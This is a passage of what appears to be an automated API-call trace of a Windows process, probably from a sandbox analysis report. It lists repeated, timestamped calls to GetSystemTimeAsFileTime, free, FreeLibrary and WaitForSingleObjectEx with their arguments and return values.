GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x4d1549e0, dwHighDateTime=0x1d9eb0c)) [0060.304] free (_Block=0xef040) [0060.304] FreeLibrary (hLibModule=0x7feffcb0000) returned 1 [0060.304] free (_Block=0xf3750) [0060.305] free (_Block=0xed2c0) [0060.305] WaitForSingleObjectEx (hHandle=0x1f0, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0060.342] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x4d1a0ca0, dwHighDateTime=0x1d9eb0c)) [0060.343] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x4d1a0ca0, dwHighDateTime=0x1d9eb0c)) [0060.343] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x4d1a0ca0, dwHighDateTime=0x1d9eb0c)) [0060.343] WaitForSingleObjectEx (hHandle=0x1f0, dwMilliseconds=0x1, bAlertable=0) returned 0x0 [0061.423] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x4dbe4b80, dwHighDateTime=0x1d9eb0c)) [0061.423] free (_Block=0xeef00) [0061.423] FreeLibrary (hLibModule=0x7fefced0000) returned 1 [0061.426] free (_Block=0xed2c0) [0061.427] free (_Block=0xed270) [0061.427] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x4dc0ace0, dwHighDateTime=0x1d9eb0c)) [0061.427] free (_Block=0xef040) [0061.427] FreeLibrary (hLibModule=0x7feffcb0000) returned 1 [0061.428] free (_Block=0xf4740) [0061.429] free (_Block=0xed400) [0061.429] WaitForSingleObjectEx (hHandle=0x1f0, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0061.463] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x4dc56fa0, dwHighDateTime=0x1d9eb0c)) [0061.463] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x4dc56fa0, dwHighDateTime=0x1d9eb0c)) [0061.463] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x4dc56fa0, dwHighDateTime=0x1d9eb0c)) [0061.463] WaitForSingleObjectEx (hHandle=0x1f0, dwMilliseconds=0x1, bAlertable=0) returned 0x0 [0061.866] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x4e035360, dwHighDateTime=0x1d9eb0c)) [0061.866] free (_Block=0xeef60) [0061.866] FreeLibrary (hLibModule=0x7fefced0000) returned 1 [0061.869] free (_Block=0xed400) [0061.870] free (_Block=0xed270) [0061.870] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x4e035360, dwHighDateTime=0x1d9eb0c)) [0061.870] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x4e035360, dwHighDateTime=0x1d9eb0c)) [0061.870] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x4e035360, dwHighDateTime=0x1d9eb0c)) [0061.870] WaitForSingleObjectEx (hHandle=0x1f0, dwMilliseconds=0x1, bAlertable=0) returned 0x0 [0061.909] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x4e0a7780, dwHighDateTime=0x1d9eb0c)) [0061.910] free (_Block=0xef040) [0061.910] FreeLibrary (hLibModule=0x7feffcb0000) returned 1 [0061.910] free (_Block=0xf4740) [0061.911] free (_Block=0xed2c0) [0061.911] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x4e0a7780, dwHighDateTime=0x1d9eb0c)) [0061.911] free (_Block=0xeef20) [0061.911] FreeLibrary (hLibModule=0x7fefced0000) returned 1 [0061.912] free (_Block=0xed270) [0061.912] free (_Block=0xed400) [0061.912] WaitForSingleObjectEx (hHandle=0x1f0, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0062.314] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x4e45f9e0, dwHighDateTime=0x1d9eb0c)) [0062.314] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x4e45f9e0, dwHighDateTime=0x1d9eb0c)) [0062.314] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x4e45f9e0, dwHighDateTime=0x1d9eb0c)) [0062.314] WaitForSingleObjectEx (hHandle=0x1f0, dwMilliseconds=0x1, bAlertable=0) returned 0x0 [0062.349] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x4e4d1e00, dwHighDateTime=0x1d9eb0c)) [0062.349] free (_Block=0xeef20) [0062.349] FreeLibrary (hLibModule=0x7feffcb0000) returned 1 [0062.350] free (_Block=0xf4740) [0062.350] free (_Block=0xed400) [0062.350] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x4e4d1e00, dwHighDateTime=0x1d9eb0c)) [0062.350] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x4e4d1e00, dwHighDateTime=0x1d9eb0c)) [0062.350] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x4e4d1e00, dwHighDateTime=0x1d9eb0c)) [0062.350] WaitForSingleObjectEx (hHandle=0x1f0, dwMilliseconds=0x1, bAlertable=0) returned 0x0 [0063.312] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x4ed009a0, dwHighDateTime=0x1d9eb0c)) [0063.312] free (_Block=0xef020) [0063.312] FreeLibrary (hLibModule=0x7fefced0000) returned 1 [0063.314] free (_Block=0xed270) [0063.315] free (_Block=0xed2c0) [0063.315] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x4ed26b00, dwHighDateTime=0x1d9eb0c)) [0063.316] free (_Block=0xeef20) [0063.316] FreeLibrary (hLibModule=0x7feffcb0000) returned 1 [0063.316] free (_Block=0xf3750) [0063.316] free (_Block=0xed400) [0063.317] WaitForSingleObjectEx (hHandle=0x1f0, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0063.350] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x4ed72dc0, dwHighDateTime=0x1d9eb0c)) [0063.350] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x4ed72dc0, dwHighDateTime=0x1d9eb0c)) [0063.350] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x4ed72dc0, dwHighDateTime=0x1d9eb0c)) [0063.350] WaitForSingleObjectEx (hHandle=0x1f0, dwMilliseconds=0x1, bAlertable=0) returned 0x0 [0063.906] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x4f2cdf40, dwHighDateTime=0x1d9eb0c)) [0063.907] free (_Block=0xeef00) [0063.907] FreeLibrary (hLibModule=0x7fefced0000) returned 1 [0063.909] free (_Block=0xed400) [0063.912] free (_Block=0xed2c0) [0063.912] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x4f2cdf40, dwHighDateTime=0x1d9eb0c)) [0063.912] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x4f2cdf40, dwHighDateTime=0x1d9eb0c)) [0063.912] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x4f2cdf40, dwHighDateTime=0x1d9eb0c)) [0063.912] WaitForSingleObjectEx (hHandle=0x1f0, dwMilliseconds=0x1, bAlertable=0) returned 0x0 [0064.009] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x4f3b2780, dwHighDateTime=0x1d9eb0c)) [0064.009] free (_Block=0xeef20) [0064.009] FreeLibrary (hLibModule=0x7feffcb0000) returned 1 [0064.009] free (_Block=0xf3750) [0064.010] free (_Block=0xed270) [0064.010] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x4f3b2780, dwHighDateTime=0x1d9eb0c)) [0064.010] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x4f3b2780, dwHighDateTime=0x1d9eb0c)) [0064.010] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x4f3b2780, dwHighDateTime=0x1d9eb0c)) [0064.010] WaitForSingleObjectEx (hHandle=0x1f0, dwMilliseconds=0x1, bAlertable=0) returned 0x0 [0064.540] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x4f8c1640, dwHighDateTime=0x1d9eb0c)) [0064.541] free (_Block=0xef0a0) [0064.541] FreeLibrary (hLibModule=0x7fefced0000) returned 1 [0064.542] free (_Block=0xed2c0) [0064.543] free (_Block=0xed400) [0064.544] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x4f8c1640, dwHighDateTime=0x1d9eb0c)) [0064.544] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x4f8c1640, dwHighDateTime=0x1d9eb0c)) [0064.544] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x4f8c1640, dwHighDateTime=0x1d9eb0c)) [0064.544] WaitForSingleObjectEx (hHandle=0x1f0, dwMilliseconds=0x1, bAlertable=0) returned 0x0 [0064.592] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x4f959bc0, dwHighDateTime=0x1d9eb0c)) [0064.592] free (_Block=0xeef20) [0064.592] FreeLibrary (hLibModule=0x7feffcb0000) returned 1 [0064.593] free (_Block=0xf3750) [0064.594] free (_Block=0xed270) [0064.594] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x4f959bc0, dwHighDateTime=0x1d9eb0c)) [0064.594] free (_Block=0xeef60) [0064.594] FreeLibrary (hLibModule=0x7fefced0000) returned 1 [0064.597] free (_Block=0xed400) [0064.598] free (_Block=0xed2c0) [0064.598] WaitForSingleObjectEx (hHandle=0x1f0, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0065.494] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x501d4a20, dwHighDateTime=0x1d9eb0c)) [0065.494] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x501d4a20, dwHighDateTime=0x1d9eb0c)) [0065.494] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x501d4a20, dwHighDateTime=0x1d9eb0c)) [0065.494] WaitForSingleObjectEx (hHandle=0x1f0, dwMilliseconds=0x1, bAlertable=0) returned 0x0 [0065.529] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x50246e40, dwHighDateTime=0x1d9eb0c)) [0065.530] free (_Block=0xeef60) [0065.530] FreeLibrary (hLibModule=0x7feffcb0000) returned 1 [0065.531] free (_Block=0xf3750) [0065.532] free (_Block=0xed2c0) [0065.532] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x50246e40, dwHighDateTime=0x1d9eb0c)) [0065.532] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x50246e40, dwHighDateTime=0x1d9eb0c)) [0065.532] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x50246e40, dwHighDateTime=0x1d9eb0c)) [0065.532] WaitForSingleObjectEx (hHandle=0x1f0, dwMilliseconds=0x1, bAlertable=0) returned 0x0 [0066.059] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x50755d00, dwHighDateTime=0x1d9eb0c)) [0066.060] free (_Block=0xef040) [0066.060] FreeLibrary (hLibModule=0x7fefced0000) returned 1 [0066.061] free (_Block=0xed400) [0066.063] free (_Block=0xed270) [0066.063] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x50755d00, dwHighDateTime=0x1d9eb0c)) [0066.063] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x50755d00, dwHighDateTime=0x1d9eb0c)) [0066.063] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x50755d00, dwHighDateTime=0x1d9eb0c)) [0066.063] WaitForSingleObjectEx (hHandle=0x1f0, dwMilliseconds=0x1, bAlertable=0) returned 0x0 [0066.097] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x507a1fc0, dwHighDateTime=0x1d9eb0c)) [0066.098] free (_Block=0xeef60) [0066.098] FreeLibrary (hLibModule=0x7feffcb0000) returned 1 [0066.098] free (_Block=0xf3750) [0066.099] free (_Block=0xed2c0) [0066.099] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x507a1fc0, dwHighDateTime=0x1d9eb0c)) [0066.099] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x507a1fc0, dwHighDateTime=0x1d9eb0c)) [0066.099] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x507a1fc0, dwHighDateTime=0x1d9eb0c)) [0066.099] WaitForSingleObjectEx (hHandle=0x1f0, dwMilliseconds=0x1, bAlertable=0) returned 0x0 [0066.689] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x50d49400, dwHighDateTime=0x1d9eb0c)) [0066.689] free (_Block=0xef020) [0066.689] FreeLibrary (hLibModule=0x7fefced0000) returned 1 [0066.693] free (_Block=0xed270) [0066.694] free (_Block=0xed400) [0066.694] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x50d49400, dwHighDateTime=0x1d9eb0c)) [0066.694] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x50d49400, dwHighDateTime=0x1d9eb0c)) [0066.694] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x50d49400, dwHighDateTime=0x1d9eb0c)) [0066.694] WaitForSingleObjectEx (hHandle=0x1f0, dwMilliseconds=0x1, bAlertable=0) returned 0x0 [0066.758] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x50de1980, dwHighDateTime=0x1d9eb0c)) [0066.758] free (_Block=0xeef60) [0066.758] FreeLibrary (hLibModule=0x7feffcb0000) returned 1 [0066.758] free (_Block=0xf3750) [0066.758] free (_Block=0xed2c0) [0066.759] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x50de1980, dwHighDateTime=0x1d9eb0c)) [0066.759] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x50de1980, dwHighDateTime=0x1d9eb0c)) [0066.759] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x50de1980, dwHighDateTime=0x1d9eb0c)) [0066.759] WaitForSingleObjectEx (hHandle=0x1f0, dwMilliseconds=0x1, bAlertable=0) returned 0x0 [0067.664] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x51682940, dwHighDateTime=0x1d9eb0c)) [0067.664] free (_Block=0xeef00) [0067.664] FreeLibrary (hLibModule=0x7fefced0000) returned 1 [0067.667] free (_Block=0xed400) [0067.668] free (_Block=0xed270) [0067.668] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x516a8aa0, dwHighDateTime=0x1d9eb0c)) [0067.668] free (_Block=0xeef60) [0067.668] FreeLibrary (hLibModule=0x7feffcb0000) returned 1 [0067.669] free (_Block=0xf4740) [0067.669] free (_Block=0xed2c0) [0067.669] WaitForSingleObjectEx (hHandle=0x1f0, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0067.707] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x516f4d60, dwHighDateTime=0x1d9eb0c)) [0067.707] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x516f4d60, dwHighDateTime=0x1d9eb0c)) [0067.707] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x516f4d60, dwHighDateTime=0x1d9eb0c)) [0067.707] WaitForSingleObjectEx (hHandle=0x1f0, dwMilliseconds=0x1, bAlertable=0) returned 0x0 [0068.092] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x51aacfc0, dwHighDateTime=0x1d9eb0c)) [0068.092] free (_Block=0xeef20) [0068.092] FreeLibrary (hLibModule=0x7fefced0000) returned 1 [0068.097] free (_Block=0xed2c0) [0068.098] free (_Block=0xed270) [0068.098] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x51aacfc0, dwHighDateTime=0x1d9eb0c)) [0068.098] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x51aacfc0, dwHighDateTime=0x1d9eb0c)) [0068.099] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x51aacfc0, dwHighDateTime=0x1d9eb0c)) [0068.099] WaitForSingleObjectEx (hHandle=0x1f0, dwMilliseconds=0x1, bAlertable=0) returned 0x0 [0068.183] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x51b91800, dwHighDateTime=0x1d9eb0c)) [0068.183] free (_Block=0xeef60) [0068.183] FreeLibrary (hLibModule=0x7feffcb0000) returned 1 [0068.184] free (_Block=0xf4740) [0068.185] free (_Block=0xed400) [0068.185] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x51b91800, dwHighDateTime=0x1d9eb0c)) [0068.185] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x51b91800, dwHighDateTime=0x1d9eb0c)) [0068.185] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x51b91800, dwHighDateTime=0x1d9eb0c)) [0068.186] WaitForSingleObjectEx (hHandle=0x1f0, dwMilliseconds=0x1, bAlertable=0) returned 0x0 [0068.651] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x52008140, dwHighDateTime=0x1d9eb0c)) [0068.651] free (_Block=0xef0a0) [0068.651] FreeLibrary (hLibModule=0x7fefced0000) returned 1 [0068.654] free (_Block=0xed270) [0068.654] free (_Block=0xed2c0) [0068.655] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x52008140, dwHighDateTime=0x1d9eb0c)) [0068.655] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x52008140, dwHighDateTime=0x1d9eb0c)) [0068.655] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x52008140, dwHighDateTime=0x1d9eb0c)) [0068.655] WaitForSingleObjectEx (hHandle=0x1f0, dwMilliseconds=0x1, bAlertable=0) returned 0x0 [0068.728] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x520c6820, dwHighDateTime=0x1d9eb0c)) [0068.728] free (_Block=0xeef60) [0068.728] FreeLibrary (hLibModule=0x7feffcb0000) returned 1 [0068.729] free (_Block=0xf4740) [0068.730] free (_Block=0xed400) [0068.730] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x520c6820, dwHighDateTime=0x1d9eb0c)) [0068.730] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x520c6820, dwHighDateTime=0x1d9eb0c)) [0068.730] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x520c6820, dwHighDateTime=0x1d9eb0c)) [0068.730] WaitForSingleObjectEx (hHandle=0x1f0, dwMilliseconds=0x1, bAlertable=0) returned 0x0 [0069.660] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x527c48c0, dwHighDateTime=0x1d9eb0c)) [0069.660] free (_Block=0xef040) [0069.660] FreeLibrary (hLibModule=0x7fefced0000) returned 1 [0069.663] free (_Block=0xed2c0) [0069.663] free (_Block=0xed270) [0069.663] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x527eaa20, dwHighDateTime=0x1d9eb0c)) [0069.664] free (_Block=0xeef60) [0069.664] FreeLibrary (hLibModule=0x7feffcb0000) returned 1 [0069.664] free (_Block=0xf4740) [0069.664] free (_Block=0xed400) [0069.665] WaitForSingleObjectEx (hHandle=0x1f0, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0069.768] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x528cf260, dwHighDateTime=0x1d9eb0c)) [0069.769] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x528cf260, dwHighDateTime=0x1d9eb0c)) [0069.769] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x528cf260, dwHighDateTime=0x1d9eb0c)) [0069.769] WaitForSingleObjectEx (hHandle=0x1f0, dwMilliseconds=0x1, bAlertable=0) returned 0x0 [0070.147] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x52c874c0, dwHighDateTime=0x1d9eb0c)) [0070.147] free (_Block=0xeef00) [0070.147] FreeLibrary (hLibModule=0x7fefced0000) returned 1 [0070.149] free (_Block=0xed400) [0070.150] free (_Block=0xed270) [0070.150] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x52c874c0, dwHighDateTime=0x1d9eb0c)) [0070.150] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x52c874c0, dwHighDateTime=0x1d9eb0c)) [0070.150] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x52c874c0, dwHighDateTime=0x1d9eb0c)) [0070.151] WaitForSingleObjectEx (hHandle=0x1f0, dwMilliseconds=0x1, bAlertable=0) returned 0x0 [0070.214] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x52d1fa40, dwHighDateTime=0x1d9eb0c)) [0070.215] free (_Block=0xeef60) [0070.215] FreeLibrary (hLibModule=0x7feffcb0000) returned 1 [0070.215] free (_Block=0xf4740) [0070.216] free (_Block=0xed2c0) [0070.216] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x52d1fa40, dwHighDateTime=0x1d9eb0c)) [0070.216] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x52d1fa40, dwHighDateTime=0x1d9eb0c)) [0070.216] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x52d1fa40, dwHighDateTime=0x1d9eb0c)) [0070.216] WaitForSingleObjectEx (hHandle=0x1f0, dwMilliseconds=0x1, bAlertable=0) returned 0x0 [0070.896] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x533ab6c0, dwHighDateTime=0x1d9eb0c)) [0070.896] free (_Block=0xef020) [0070.896] FreeLibrary (hLibModule=0x7fefced0000) returned 1 [0070.900] free (_Block=0xed270) [0070.901] free (_Block=0xed400) [0070.901] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: 